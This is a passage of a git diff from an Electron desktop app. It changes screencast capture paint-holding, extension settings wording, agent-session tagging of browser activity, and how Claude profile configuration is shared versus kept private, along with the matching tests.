+import { acquireElectronDebugger } from './electron-debugger-lease'
+
 /** Draws a hidden guest while a capture or agent input needs its frames; returns its release. */
 export type CapturePaintHold = () => () => void
+
+function retainUntilSettled<T>(acquire: () => () => void, run: () => Promise<T>): Promise<T> {
+  let release: () => void
+  try {
+    release = acquire()
+  } catch (error) {
+    return Promise.reject(error)
+  }
+  const pending = new Promise<T>((resolve) => resolve(run()))
+  void pending.then(release, release)
+  return pending
+}
+
+/**
+ * Holds paint until Chromium answers the capture, not just while the caller waits. A capture stays
+ * pending until the guest draws, and while pending it can hold macOS display sleep off ("Capturing");
+ * timeouts do not cancel it (#24946).
+ */
+export function holdPaintUntilSettled<T>(
+  holdPaint: CapturePaintHold,
+  capture: () => Promise<T>
+): Promise<T> {
+  return retainUntilSettled(holdPaint, capture)
+}
+
+/** Also keeps the debugger attached: a detach rejects the command while Chromium keeps the capture. */
+export function holdPaintUntilCdpCaptureSettles<T>(
+  webContents: WebContents,
+  holdPaint: CapturePaintHold,
+  capture: () => Promise<T>
+): Promise<T> {
+  return retainUntilSettled(
+    () => acquireElectronDebugger(webContents).release,
+    () => retainUntilSettled(holdPaint, capture)
+  )
+}
diff --git a/src/main/browser/cdp/screencast/browser-screencast-first-frame-timeout.test.ts b/src/main/browser/cdp/screencast/browser-screencast-first-frame-timeout.test.ts
index 797f2ff07a5..8129fb06766 100644
--- a/src/main/browser/cdp/screencast/browser-screencast-first-frame-timeout.test.ts
+++ b/src/main/browser/cdp/screencast/browser-screencast-first-frame-timeout.test.ts
@@ -24,6 +24,7 @@ function startOptions(viewport: boolean) {
     maxHeight: 1200,
     everyNthFrame: 2,
     minFrameIntervalMs: 0,
+    holdPaint: () => () => {},
     ...(viewport ? { viewportWidth: 390, viewportHeight: 844 } : {}),
     onFrame: vi.fn(() => true),
     onError: vi.fn()
@@ -59,6 +60,49 @@ describe('browser screencast first-frame deadline', () => {
     await session.done
   })
 
+  it('keeps the page drawable until Chromium answers the captures the stream gave up on', async () => {
+    let settleCapture!: (image: unknown) => void
+    const webContents = Object.assign(createMockScreencastWebContents(), {
+      capturePage: vi.fn(
+        () =>
+          new Promise((resolve) => {
+            settleCapture = resolve
+          })
+      )
+    })
+    let settleScreenshot!: (result: unknown) => void
+    let rejectScreenshot!: (error: Error) => void
+    webContents.debugger.sendCommand.mockImplementation(async (method: string) =>
+      method === 'Page.captureScreenshot'
+        ? new Promise((resolve, reject) => {
+            settleScreenshot = resolve
+            rejectScreenshot = reject
+          })
+        : {}
+    )
+    // Electron rejects pending commands on detach, but Chromium keeps the capture.
+    webContents.debugger.detach.mockImplementation(() =>
+      rejectScreenshot(new Error('target closed while handling command'))
+    )
+    const releasePaint = vi.fn()
+    const options = { ...startOptions(true), holdPaint: vi.fn(() => releasePaint) }
+    const session = await start(webContents, options)
+
+    // capturePage's 10 s bound, then the CDP fallback's 8 s.
+    await vi.advanceTimersByTimeAsync(18_000)
+    session.stop()
+    await session.done
+    expect(options.holdPaint).toHaveBeenCalledTimes(2)
+    expect(webContents.debugger.detach).not.toHaveBeenCalled()
+    expect(releasePaint).not.toHaveBeenCalled()
+
+    settleCapture({ getSize: () => ({ width: 0, height: 0 }) })
+    settleScreenshot({})
+    await vi.advanceTimersByTimeAsync(0)
+    expect(releasePaint).toHaveBeenCalledTimes(2)
+    expect(webContents.debugger.detach).toHaveBeenCalledOnce()
+  })
+
   it('drops a capture that settles after the limit', async () => {
     let settleCapture!: (image: unknown) => void
     const webContents = Object.assign(createMockScreencastWebContents(), {
diff --git a/src/main/browser/cdp/screencast/browser-screencast-guest-view-limit.test.ts b/src/main/browser/cdp/screencast/browser-screencast-guest-view-limit.test.ts
index 5968bf42069..a07487bfd5b 100644
--- a/src/main/browser/cdp/screencast/browser-screencast-guest-view-limit.test.ts
+++ b/src/main/browser/cdp/screencast/browser-screencast-guest-view-limit.test.ts
@@ -70,6 +70,7 @@ async function startOversizedStream(guest: ReturnType<typeof createGuest>, onFra
     deviceScaleFactor: 2,
     everyNthFrame: 1,
     minFrameIntervalMs: 0,
+    holdPaint: () => () => {},
     onFrame
   })
 }
diff --git a/src/main/browser/cdp/screencast/browser-screencast-lifecycle.test.ts b/src/main/browser/cdp/screencast/browser-screencast-lifecycle.test.ts
index 09889e723c7..4443f28f7e3 100644
--- a/src/main/browser/cdp/screencast/browser-screencast-lifecycle.test.ts
+++ b/src/main/browser/cdp/screencast/browser-screencast-lifecycle.test.ts
@@ -35,6 +35,7 @@ describe('browser screencast lifecycle', () => {
       maxHeight: 2160,
       everyNthFrame: 2,
       minFrameIntervalMs: 0,
+      holdPaint: () => () => {},
       onFrame
     })
 
@@ -80,6 +81,7 @@ describe('browser screencast lifecycle', () => {
         maxHeight: 1200,
         everyNthFrame: 2,
         minFrameIntervalMs: 0,
+        holdPaint: () => () => {},
         onFrame: vi.fn()
       },
       isClosed: () => false,
diff --git a/src/main/browser/cdp/screencast/browser-screencast-live-frame-allocation.test.ts b/src/main/browser/cdp/screencast/browser-screencast-live-frame-allocation.test.ts
index 0d61e942a80..86185d11b0b 100644
--- a/src/main/browser/cdp/screencast/browser-screencast-live-frame-allocation.test.ts
+++ b/src/main/browser/cdp/screencast/browser-screencast-live-frame-allocation.test.ts
@@ -40,6 +40,7 @@ function createLiveFrameRoute(
     maxHeight: 1200,
     everyNthFrame: 2,
     minFrameIntervalMs: 0,
+    holdPaint: () => () => {},
     onFrame
   }
   const isClosed = () => false
diff --git a/src/main/browser/cdp/screencast/browser-screencast-snapshot-capture.ts b/src/main/browser/cdp/screencast/browser-screencast-snapshot-capture.ts
index 733a4cb542a..b9b3c1f037d 100644
--- a/src/main/browser/cdp/screencast/browser-screencast-snapshot-capture.ts
+++ b/src/main/browser/cdp/screencast/browser-screencast-snapshot-capture.ts
@@ -1,7 +1,11 @@
 import { Buffer } from 'node:buffer'
 import type { Debugger, WebContents } from 'electron'
 import { readBrowserScreencastImageSize } from './browser-screencast-image-size'
-import { sendDebuggerCommand } from './browser-screencast-debugger-command'
+import { runDebuggerCommandWithTimeout } from './browser-screencast-debugger-command'
+import {
+  holdPaintUntilCdpCaptureSettles,
+  holdPaintUntilSettled
+} from '../debugger/guest-paint-hold'
 import type {
   BrowserScreencastOptions,
   PendingScreencastFrame
@@ -35,6 +39,7 @@ export function createBrowserScreencastSnapshotCapture(
 ): BrowserScreencastSnapshotCapture {
   const { webContents, dbg, options, isClosed, isStopping, getSeq, queueFrame } = deps
   const { applyDeviceMetricsOverride } = deps
+  const { holdPaint } = options
 
   let snapshotGeneration = 0
   let navigationCaptureTimer: ReturnType<typeof setTimeout> | null = null
@@ -81,7 +86,9 @@ export function createBrowserScreencastSnapshotCapture(
         try {
           // Prefer capturePage to avoid CDP tiling; stopped compositing can leave it pending.
           const nativeImage = await withTimeout(
-            webContents.capturePage({ x: 0, y: 0, width: viewportWidth, height: viewportHeight }),
+            holdPaintUntilSettled(holdPaint, () =>
+              webContents.capturePage({ x: 0, y: 0, width: viewportWidth, height: viewportHeight })
+            ),
             SNAPSHOT_CAPTURE_TIMEOUT_MS,
             null
           )
@@ -101,7 +108,7 @@ export function createBrowserScreencastSnapshotCapture(
         }
       }
       if (!image) {
-        const result = await sendDebuggerCommand(dbg, 'Page.captureScreenshot', {
+        const screenshotParams = {
           format: options.format,
           ...(options.format === 'jpeg' ? { quality: options.quality } : {}),
           ...(viewportWidth && viewportHeight
@@ -117,7 +124,12 @@ export function createBrowserScreencastSnapshotCapture(
               }
             : {}),
           captureBeyondViewport: false
-        })
+        }
+        const result = await runDebuggerCommandWithTimeout('Page.captureScreenshot', () =>
+          holdPaintUntilCdpCaptureSettles(webContents, holdPaint, () =>
+            dbg.sendCommand('Page.captureScreenshot', screenshotParams)
+          )
+        )
         if (isSnapshotStale(initialOnly, generation)) {
           return
         }
diff --git a/src/main/browser/cdp/screencast/browser-screencast-stream-types.ts b/src/main/browser/cdp/screencast/browser-screencast-stream-types.ts
index 0676e970411..666bba266b2 100644
--- a/src/main/browser/cdp/screencast/browser-screencast-stream-types.ts
+++ b/src/main/browser/cdp/screencast/browser-screencast-stream-types.ts
@@ -2,6 +2,7 @@ import type {
   BrowserScreencastFormat,
   BrowserScreencastFrameMetadata
 } from '../../../../shared/browser/screencast/browser-screencast-protocol'
+import type { CapturePaintHold } from '../debugger/guest-paint-hold'
 
 export type BrowserScreencastOptions = {
   format: BrowserScreencastFormat
@@ -17,6 +18,7 @@ export type BrowserScreencastOptions = {
   onFrame: (bytes: Uint8Array<ArrayBufferLike>) => boolean | void
   onEvent?: (event: BrowserScreencastEvent) => void
   onError?: (message: string) => void
+  holdPaint: CapturePaintHold
 }
 
 export type BrowserScreencastViewport = Pick<
diff --git a/src/main/browser/cdp/screencast/browser-screencast-stream.test.ts b/src/main/browser/cdp/screencast/browser-screencast-stream.test.ts
index 6870a27f172..456ff1f213c 100644
--- a/src/main/browser/cdp/screencast/browser-screencast-stream.test.ts
+++ b/src/main/browser/cdp/screencast/browser-screencast-stream.test.ts
@@ -27,6 +27,7 @@ describe('startBrowserScreencast', () => {
       maxHeight: 1200,
       everyNthFrame: 1,
       minFrameIntervalMs: 0,
+      holdPaint: () => () => {},
       onFrame
     })
 
@@ -84,6 +85,7 @@ describe('startBrowserScreencast', () => {
       maxHeight: 1200,
       everyNthFrame: 1,
       minFrameIntervalMs: 100,
+      holdPaint: () => () => {},
       onFrame
     })
 
@@ -136,6 +138,7 @@ describe('startBrowserScreencast', () => {
       maxHeight: 1200,
       everyNthFrame: 2,
       minFrameIntervalMs: 0,
+      holdPaint: () => () => {},
       onFrame: vi.fn(),
       onEvent
     })
diff --git a/src/main/browser/desktop-browser-bridge/desktop-browser-bridge-executor.ts b/src/main/browser/desktop-browser-bridge/desktop-browser-bridge-executor.ts
index abff471a47b..888cdbb736a 100644
--- a/src/main/browser/desktop-browser-bridge/desktop-browser-bridge-executor.ts
+++ b/src/main/browser/desktop-browser-bridge/desktop-browser-bridge-executor.ts
@@ -256,22 +256,3 @@ function urlOrigin(value: unknown): string | null {
     return null
   }
 }
-
-// Routed tabs can still display local files; those remain off-limits to hosts.
-// Allow chrome-error: so hosts can navigate away from failed loads.
-const HOST_REACHABLE_DOCUMENT_PROTOCOLS = new Set([
-  'http:',
-  'https:',
-  'about:',
-  'blob:',
-  'data:',
-  'chrome-error:'
-])
-
-export function isHostReachableDocument(url: string): boolean {
-  try {
-    return HOST_REACHABLE_DOCUMENT_PROTOCOLS.has(new URL(url).protocol)
-  } catch {
-    return url === ''
-  }
-}
diff --git a/src/main/browser/extensions/browser-extension-management.ts b/src/main/browser/extensions/browser-extension-management.ts
index fda54bc4fde..0ff29fd1a80 100644
--- a/src/main/browser/extensions/browser-extension-management.ts
+++ b/src/main/browser/extensions/browser-extension-management.ts
@@ -48,7 +48,7 @@ import { notifyChromeWebStoreUninstalled } from './web-store/browser-extension-w
 
 async function settle(action: () => Promise<void>): Promise<BrowserExtensionActionResult> {
   if (!isBrowserExtensionSupportEnabled()) {
-    return { ok: false, error: 'Turn on browser extensions in Settings › Experimental' }
+    return { ok: false, error: 'Turn on browser extensions in Settings › Browser › Extensions' }
   }
   try {
     await action()
diff --git a/src/main/browser/extensions/browser-extension-startup.ts b/src/main/browser/extensions/browser-extension-startup.ts
index d388a50d1e7..1cde1e52549 100644
--- a/src/main/browser/extensions/browser-extension-startup.ts
+++ b/src/main/browser/extensions/browser-extension-startup.ts
@@ -56,7 +56,7 @@ export function initializeBrowserExtensionSupport(options: {
 }
 
 /**
- * The experimental setting changed while Orca runs. Off unloads every profile's extensions and
+ * The extensions setting changed while Orca runs. Off unloads every profile's extensions and
  * keeps their data; on loads them into every open profile, as a launch would.
  */
 export function switchBrowserExtensionSupport(enabled: boolean): Promise<void> {
diff --git a/src/main/browser/extensions/browser-extension-support.ts b/src/main/browser/extensions/browser-extension-support.ts
index e1237fa7f6a..ff7739b7a44 100644
--- a/src/main/browser/extensions/browser-extension-support.ts
+++ b/src/main/browser/extensions/browser-extension-support.ts
@@ -1,4 +1,4 @@
-// Why a live flag: the experimental setting turns extensions on and off without a restart, so
+// Why a live flag: the Settings switch turns extensions on and off without a restart, so
 // every entry point asks at call time.
 let supportEnabled = false
 
diff --git a/src/main/browser/extensions/profile-sessions/browser-extension-session-loader.ts b/src/main/browser/extensions/profile-sessions/browser-extension-session-loader.ts
index 580ff9a83e6..650161fd82e 100644
--- a/src/main/browser/extensions/profile-sessions/browser-extension-session-loader.ts
+++ b/src/main/browser/extensions/profile-sessions/browser-extension-session-loader.ts
@@ -181,7 +181,7 @@ export async function detachBrowserExtensionsFromProfileSession(
   getBrowserExtensionDnrStore().forgetProfile(profile.id)
 }
 
-/** The experimental setting turned off: every profile drops its extensions until it turns on. */
+/** The extensions setting turned off: every profile drops its extensions until it turns on. */
 export async function detachBrowserExtensionsFromAllProfileSessions(): Promise<void> {
   const states = [...stateByProfileId.values()]
   stateByProfileId.clear()
diff --git a/src/main/browser/extensions/web-store/browser-extension-webstore-service.ts b/src/main/browser/extensions/web-store/browser-extension-webstore-service.ts
index 1052b409ed7..877495b7048 100644
--- a/src/main/browser/extensions/web-store/browser-extension-webstore-service.ts
+++ b/src/main/browser/extensions/web-store/browser-extension-webstore-service.ts
@@ -131,7 +131,10 @@ export async function installBrowserExtensionFromWebStore(
   renderer: Electron.WebContents
 ): Promise<BrowserExtensionWebStoreInstallResult> {
   if (!isBrowserExtensionSupportEnabled()) {
-    return { status: 'failed', error: 'Turn on browser extensions in Settings › Experimental' }
+    return {
+      status: 'failed',
+      error: 'Turn on browser extensions in Settings › Browser › Extensions'
+    }
   }
   const extensionId = parseChromeWebStoreExtensionInput(input)
   if (!extensionId) {
diff --git a/src/main/browser/guest-lifecycle/page-activity/browser-agent-activity.test.ts b/src/main/browser/guest-lifecycle/page-activity/browser-agent-activity.test.ts
index 8a2148e204f..d11c363277f 100644
--- a/src/main/browser/guest-lifecycle/page-activity/browser-agent-activity.test.ts
+++ b/src/main/browser/guest-lifecycle/page-activity/browser-agent-activity.test.ts
@@ -90,6 +90,18 @@ describe('BrowserAgentActivity', () => {
     expect(sent).toEqual([])
   })
 
+  it("names the chat whose agent's CLI sent the command", () => {
+    const { activity, sent } = setup()
+    const chat = '11111111-1111-4111-8111-111111111111'
+    runWithActiveRpcCaller({ kind: 'local-cli' }, () => activity.beginCommand(PAGE), chat).end()
+    expect(sent.at(-1)?.data).toEqual({
+      browserPageId: PAGE,
+      worktreeId: 'wt-1',
+      active: true,
+      agentSessionId: chat
+    })
+  })
+
   it('clears the mark once the agent stays idle, and at once when the page closes', () => {
     const { activity, sent, agentCommand } = setup()
     agentCommand().end()
diff --git a/src/main/browser/guest-lifecycle/page-activity/browser-agent-activity.ts b/src/main/browser/guest-lifecycle/page-activity/browser-agent-activity.ts
index b698b215aab..33bd6cf2ef6 100644
--- a/src/main/browser/guest-lifecycle/page-activity/browser-agent-activity.ts
+++ b/src/main/browser/guest-lifecycle/page-activity/browser-agent-activity.ts
@@ -9,7 +9,10 @@ import {
   type BrowserAgentActivityEvent,
   type BrowserAgentCursorEvent
 } from '../../../../shared/browser-agent-activity-contract'
-import { getActiveRpcCaller } from '../../../runtime/rpc/rpc-active-caller'
+import {
+  getActiveRpcAgentSessionId,
+  getActiveRpcCaller
+} from '../../../runtime/rpc/rpc-active-caller'
 import {
   remoteCliBrowserScopeController,
   type RemoteCliBrowserController
@@ -35,6 +38,8 @@ type PageActivity = {
   idleTimer: ReturnType<typeof setTimeout> | null
   /** The SSH host whose command marked the page last, if it came through the desktop bridge. */
   controller: RemoteCliBrowserController | null
+  /** The chat whose agent marked the page last, when its CLI named one. */
+  agentSessionId: string | undefined
 }
 
 /** One page-targeted command, held from when it is queued until it settles. */
@@ -80,12 +85,19 @@ export class BrowserAgentActivity {
     }
     let page = this.pages.get(browserPageId)
     if (!page) {
-      page = { commands: 0, executing: false, idleTimer: null, controller: null }
+      page = {
+        commands: 0,
+        executing: false,
+        idleTimer: null,
+        controller: null,
+        agentSessionId: undefined
+      }
       this.pages.set(browserPageId, page)
     }
     page.controller = remoteCliBrowserScopeController() ?? null
+    page.agentSessionId = getActiveRpcAgentSessionId()
     // Every command republishes, so a reloaded or newly attached window catches up.
-    this.publish(browserPageId, true, page.controller)
+    this.publish(browserPageId, true, page)
     if (page.idleTimer) {
       clearTimeout(page.idleTimer)
       page.idleTimer = null
@@ -122,20 +134,22 @@ export class BrowserAgentActivity {
   /** The agent continues on another page (a closed popup's opener), so its claim moves there. */
   handOver(fromPageId: string, toPageId: string): void {
     const existing = this.pages.get(toPageId)
+    const from = this.pages.get(fromPageId)
     // A running command restarts the idle window itself when it settles.
-    if (!this.pages.has(fromPageId) || (existing && existing.commands > 0)) {
+    if (!from || (existing && existing.commands > 0)) {
       return
     }
     const page = existing ?? {
       commands: 0,
       executing: false,
       idleTimer: null,
-      controller: this.pages.get(fromPageId)?.controller ?? null
+      controller: from.controller,
+      agentSessionId: from.agentSessionId
     }
     this.restartIdleWindow(toPageId, page)
     if (!existing) {
       this.pages.set(toPageId, page)
-      this.publish(toPageId, true, page.controller)
+      this.publish(toPageId, true, page)
     }
   }
 
@@ -251,7 +265,7 @@ export class BrowserAgentActivity {
   private publish(
     browserPageId: string,
     active: boolean,
-    controller: RemoteCliBrowserController | null = null
+    { controller, agentSessionId }: Partial<PageActivity> = {}
   ): void {
     const renderer = this.deps.rendererForPage(browserPageId)
     if (renderer && !renderer.isDestroyed()) {
@@ -259,7 +273,8 @@ export class BrowserAgentActivity {
         browserPageId,
         worktreeId: this.deps.worktreeForPage(browserPageId),
         active,
-        ...(controller ? { controllerHostLabel: controller.hostLabel } : {})
+        ...(controller ? { controllerHostLabel: controller.hostLabel } : {}),
+        ...(agentSessionId ? { agentSessionId } : {})
       }
       renderer.send(BROWSER_AGENT_ACTIVITY_CHANNEL, event)
     }
diff --git a/src/main/claude-accounts/claude-profile-provisioning.test.ts b/src/main/claude-accounts/claude-profile-provisioning.test.ts
index 58b70c7aa23..98684a185df 100644
--- a/src/main/claude-accounts/claude-profile-provisioning.test.ts
+++ b/src/main/claude-accounts/claude-profile-provisioning.test.ts
@@ -131,18 +131,37 @@ describe('Claude profile refresh from the default home', () => {
     expect((await provision(f)).surfaces['settings.json']).toBe('user-owned')
     expect(f.read(elsewhere)).toEqual({ mine: true })
   })
-  it('copies state except the login, caches and install ids, and never copies credentials', async () => {
+  it('shares configuration while keeping profile runtime state and API authorizations private', async () => {
     const f = fixture()
     fs.writeFileSync(join(f.source, '.credentials.json'), 'SOURCE_CREDENTIAL_BYTES')
     const shared = {
       mcpServers: { local: { command: 'example' } },
       theme: 'dark',
       hasCompletedOnboarding: true,
-      autoModeAccepted: true,
+      bypassPermissionsModeAccepted: true,
+      favoritePlugins: ['favorite@example'],
+      preferTmuxOverIterm2: true,
+      codeReviewLastEffort: 'high',
+      codeReviewLastMaxFindings: 3,
+      installMethod: 'global',
+      autoUpdates: false,
+      autoUpdatesProtectedForNative: false,
+      customApiKeyResponses: { rejected: ['PERSONAL_REJECTED_SUFFIX'] },
       projects: { '/work': { hasTrustDialogAccepted: true } }
     }
-    f.json(join(f.userHome, '.claude.json'), {
+    const personal = {
       ...shared,
+      customApiKeyResponses: {
+        approved: ['PERSONAL_APPROVED_SUFFIX'],
+        rejected: ['PERSONAL_REJECTED_SUFFIX']
+      },
+      groveChoiceSeenAt: { personal: 1 },
+      numStartups: 2,
+      tipsHistory: { tip: 1 },
+      seenNotifications: { notice: 1 },
+      penguinModeOrgEnabled: false,
+      futureRuntimeState: { personal: true },
+      autoModeAccepted: true,
       oauthAccount: { emailAddress: 'source@example.com' },
       primaryApiKey: 'sk-source',
       userID: 'source-id',
@@ -150,7 +169,6 @@ describe('Claude profile refresh from the default home', () => {
       firstStartTime: 'source-start',
       firstStartVersion: '1.0.0',
       groveConfigCache: { a: 1 },
-      groveChoiceSeenAt: { 'account-a': 99, 'account-b': 10 },
       cachedArtifactRoster: [],
       clientDataCacheSlots: {},
       passesEligibilityCache: {},
@@ -162,21 +180,32 @@ describe('Claude profile refresh from the default home', () => {
       lastSeenOrgDefaultUpdatedAt: 1,
       hasAvailableSubscription: true,
       subscriptionNoticeCount: 2
-    })
+    }
+    f.json(join(f.userHome, '.claude.json'), personal)
     expect((await provision(f)).surfaces['.claude.json']).toBe('synced')
-    expect(f.read(join(f.profileHome, '.claude.json'))).toEqual({
-      ...shared,
-      groveChoiceSeenAt: { 'account-a': 99, 'account-b': 10 }
-    })
+    expect(f.read(join(f.profileHome, '.claude.json'))).toEqual(shared)
     expect(fs.readdirSync(f.profileHome).filter((name) => name.endsWith('.tmp'))).toEqual([])
     expect(fs.existsSync(join(f.profileHome, '.credentials.json'))).toBe(false)
 
     fs.writeFileSync(join(f.profileHome, '.credentials.json'), 'PROFILE_CREDENTIAL_BYTES')
+    const profileRuntime = {
+      groveChoiceSeenAt: { profile: 20 },
+      numStartups: 30,
+      tipsHistory: { tip: 8 },
+      seenNotifications: { profileNotice: 9 },
+      penguinModeOrgEnabled: true,
+      futureRuntimeState: { profile: true },
+      customApiKeyResponses: {
+        approved: ['PROFILE_APPROVED_SUFFIX', 'PERSONAL_REJECTED_SUFFIX'],
+        rejected: ['PROFILE_REJECTED_SUFFIX', 'PERSONAL_APPROVED_SUFFIX'],
+        profileOnly: true
+      }
+    }
     f.json(join(f.profileHome, '.claude.json'), {
+      ...profileRuntime,
       oauthAccount: { emailAddress: 'profile@example.com' },
       userID: 'profile-id',
       groveConfigCache: { b: 2 },
-      groveChoiceSeenAt: { 'account-a': 120, 'account-b': 5 },
       theme: 'light',
       onlyHere: true
     })
@@ -185,11 +214,30 @@ describe('Claude profile refresh from the default home', () => {
       oauthAccount: { emailAddress: 'profile@example.com' },
       userID: 'profile-id',
       groveConfigCache: { b: 2 },
-      groveChoiceSeenAt: { 'account-a': 120, 'account-b': 10 },
       onlyHere: true,
-      ...shared
+      ...shared,
+      ...profileRuntime,
+      hasCompletedOnboarding: true,
+      customApiKeyResponses: {
+        approved: ['PROFILE_APPROVED_SUFFIX', 'PERSONAL_REJECTED_SUFFIX'],
+        rejected: [
+          'PROFILE_REJECTED_SUFFIX',
+          'PERSONAL_APPROVED_SUFFIX',
+          'PERSONAL_REJECTED_SUFFIX'
+        ],
+        profileOnly: true
+      }
+    })
+    const reset = { ...f.read(join(f.profileHome, '.claude.json')), hasCompletedOnboarding: false }
+    f.json(join(f.profileHome, '.claude.json'), reset)
+    f.json(join(f.userHome, '.claude.json'), {
+      ...personal,
+      numStartups: 1000,
+      groveChoiceSeenAt: { personal: 1000 },
+      futureRuntimeState: { changed: true }
     })
     expect((await provision(f)).surfaces['.claude.json']).toBe('unchanged')
+    expect(f.read(join(f.profileHome, '.claude.json'))).toEqual(reset)
     expect(fs.readFileSync(join(f.source, '.credentials.json'), 'utf8')).toBe(
       'SOURCE_CREDENTIAL_BYTES'
     )
@@ -202,7 +250,13 @@ describe('Claude profile refresh from the default home', () => {
     const f = fixture()
     f.json(join(f.userHome, '.claude.json'), {
       projects: {
-        '/shared': { hasTrustDialogAccepted: false, allowedTools: ['Read'] },
+        '/shared': {
+          hasTrustDialogAccepted: false,
+          allowedTools: ['Read'],
+          lastSessionId: 'personal'
+        },
+        '/runtime-only': { lastSessionId: 'personal' },
+        '/malformed': 'invalid',
         '/default-only': { hasTrustDialogAccepted: true }
       },
       mcpServers: { shared: { command: 'default' } }
@@ -210,7 +264,15 @@ describe('Claude profile refresh from the default home', () => {
     f.json(join(f.profileHome, '.claude.json'), {
       oauthAccount: LOGIN,
       projects: {
-        '/shared': { hasTrustDialogAccepted: true },
+        '/shared': {
+          hasTrustDialogAccepted: true,
+          hasCompletedProjectOnboarding: true,
+          projectOnboardingSeenCount: 4,
+          lastSessionId: 'profile',
+          exampleFiles: ['profile.ts'],
+          futureProjectState: true
+        },
+        '/malformed': { lastSessionId: 'keep' },
         '/account-only': { hasTrustDialogAccepted: true, allowedTools: ['Bash'] }
       },
       mcpServers: { shared: { command: 'account' }, mine: { command: 'mine' } }
@@ -219,7 +281,16 @@ describe('Claude profile refresh from the default home', () => {
     expect(f.read(join(f.profileHome, '.claude.json'))).toEqual({
       oauthAccount: LOGIN,
       projects: {
-        '/shared': { hasTrustDialogAccepted: true, allowedTools: ['Read'] },
+        '/shared': {
+          hasTrustDialogAccepted: true,
+          allowedTools: ['Read'],
+          hasCompletedProjectOnboarding: true,
+          projectOnboardingSeenCount: 4,
+          lastSessionId: 'profile',
+          exampleFiles: ['profile.ts'],
+          futureProjectState: true
+        },
+        '/malformed': { lastSessionId: 'keep' },
         '/account-only': { hasTrustDialogAccepted: true, allowedTools: ['Bash'] },
         '/default-only': { hasTrustDialogAccepted: true }
       },
diff --git a/src/main/claude-accounts/claude-profile-provisioning.ts b/src/main/claude-accounts/claude-profile-provisioning.ts
index ffd28dbb913..42bcdd1a8e5 100644
--- a/src/main/claude-accounts/claude-profile-provisioning.ts
+++ b/src/main/claude-accounts/claude-profile-provisioning.ts
@@ -19,6 +19,7 @@ import {
   type ClaudeProfileSurfaceOutcome
 } from './claude-profile-report'
 import { syncClaudeProfileSettings } from './claude-profile-settings'
+import { mergeClaudeProfileState, selectSharedClaudeProfileState } from './claude-profile-state'
 import { copyClaudeProfileFile, linkClaudeProfileDirectory } from './claude-profile-sharing'
 
 const CLAUDE_PROFILE_MEMORY_IMPORT = '@~/.claude/CLAUDE.md\n'
@@ -108,88 +109,6 @@ function isSharedEntry(name: string): boolean {
   )
 }
 
-// Claude 2.1.295 logout keys and subscription notices; onboarding remains shareable.
-const CLAUDE_LOGOUT_STATE_KEYS = [
-  'oauthAccount',
-  'additionalModelOptionsCache',
-  'additionalModelOptionsAnsweredAt',
-  'additionalModelCostsCache',
-  'modelAccessCache',
-  'orgModelDefaultCache',
-  'cachedArtifactRoster',
-  'artifactRosterDenied',
-  'lastSeenOrgDefaultUpdatedAt',
-  'clientDataCache',
-  'clientDataCacheSlots',
-  'autoCompactWindowsCache',
-  'cachedUsageUtilization',
-  'metricsStatusCache',
-  'metricsStatusCacheByPrincipal',
-  'githubWebConnectionStatusCache',
-  'startupPrefetchedAt',
-  'subscriptionNoticeCount',
-  'hasAvailableSubscription'
-] as const
-
-const ACCOUNT_BOUND_STATE_KEYS: ReadonlySet<string> = new Set<string>([
-  ...CLAUDE_LOGOUT_STATE_KEYS,
-  'userID',
-  'machineID',
-  'firstStartTime',
-  'firstStartVersion',
-  // A copied Console key would override the account's own login.
-  'primaryApiKey',
-  // Claude never refetches this account-specific date.
-  'claudeCodeFirstTokenDate'
-])
-
-function isAccountBoundState(key: string): boolean {
-  // Logout leaves additional account caches such as groveConfigCache and passes*.
-  return (
-    ACCOUNT_BOUND_STATE_KEYS.has(key) ||
-    key.includes('Cache') ||
-    key.startsWith('cached') ||
-    key.startsWith('passes')
-  )
-}
-
-// Merge per entry so a profile keeps its own projects, servers, and Grove confirmations.
-const MERGED_BY_ENTRY: ReadonlySet<string> = new Set([
-  'projects',
-  'mcpServers',
-  'groveChoiceSeenAt'
-])
-
-function isPlainRecord(value: unknown): value is Record<string, unknown> {
-  return typeof value === 'object' && value !== null && !Array.isArray(value)
-}
-
-function mergeEntries(key: string, current: unknown, source: unknown): unknown {
-  if (!isPlainRecord(current) || !isPlainRecord(source)) {
-    return source
-  }
-  const merged: Record<string, unknown> = { ...current, ...source }
-  if (key === 'projects') {
-    for (const [path, entry] of Object.entries(source)) {
-      const own = current[path]
-      // Preserve trust granted in this account, including just before launch.
-      if (isPlainRecord(own) && own.hasTrustDialogAccepted === true && isPlainRecord(entry)) {
-        merged[path] = { ...entry, hasTrustDialogAccepted: true }
-      }
-    }
-  }
-  if (key === 'groveChoiceSeenAt') {
-    // Claude trusts a confirmation only while it is fresh, so keep each account's newest one.
-    for (const [account, seenAt] of Object.entries(current)) {
-      const theirs = source[account]
-      if (typeof seenAt === 'number' && (typeof theirs !== 'number' || seenAt > theirs)) {
-        merged[account] = seenAt
-      }
-    }
-  }
-  return merged
-}
-
 async function copyState(source: string, target: string): Promise<ClaudeProfileSurfaceOutcome> {
   if (lstatIfPresent(target)?.isSymbolicLink()) {
     return 'user-owned'
@@ -201,11 +120,11 @@ async function copyState(source: string, target: string): Promise<ClaudeProfileS
   if (input.kind === 'absent') {
     return 'absent'
   }
-  const shared = Object.entries(input.value).filter(([key]) => !isAccountBoundState(key))
+  const shared = selectSharedClaudeProfileState(input.value)
   if (!lstatIfPresent(target)) {
     const staged = `${target}.${process.pid}.${randomUUID()}.tmp`
     try {
-      writeFileSync(staged, `${JSON.stringify(Object.fromEntries(shared), null, 2)}\n`, {
+      writeFileSync(staged, `${JSON.stringify(mergeClaudeProfileState({}, shared), null, 2)}\n`, {
         flag: 'wx',
         mode: 0o600
       })
@@ -219,10 +138,7 @@ async function copyState(source: string, target: string): Promise<ClaudeProfileS
   }
   // Preserve keys Claude added only in this account folder.
   const outcome = await updateClaudeGlobalConfig(target, (current) => {
-    const config = { ...current }
-    for (const [key, value] of shared) {
-      config[key] = MERGED_BY_ENTRY.has(key) ? mergeEntries(key, current[key], value) : value
-    }
+    const config = mergeClaudeProfileState(current, shared)
     return JSON.stringify(config) === JSON.stringify(current)
       ? { kind: 'unchanged' }
       : { kind: 'changed', config }
diff --git a/src/main/claude-accounts/claude-profile-state.ts b/src/main/claude-accounts/claude-profile-state.ts
new file mode 100644
index 00000000000..52cf971041a
--- /dev/null
+++ b/src/main/claude-accounts/claude-profile-state.ts
@@ -0,0 +1,172 @@
+// Unknown state belongs to the profile; only deliberate user configuration is shared.
+const SHARED_CONFIG_KEYS = [
+  'apiKeyHelper',
+  'installMethod',
+  'autoUpdates',
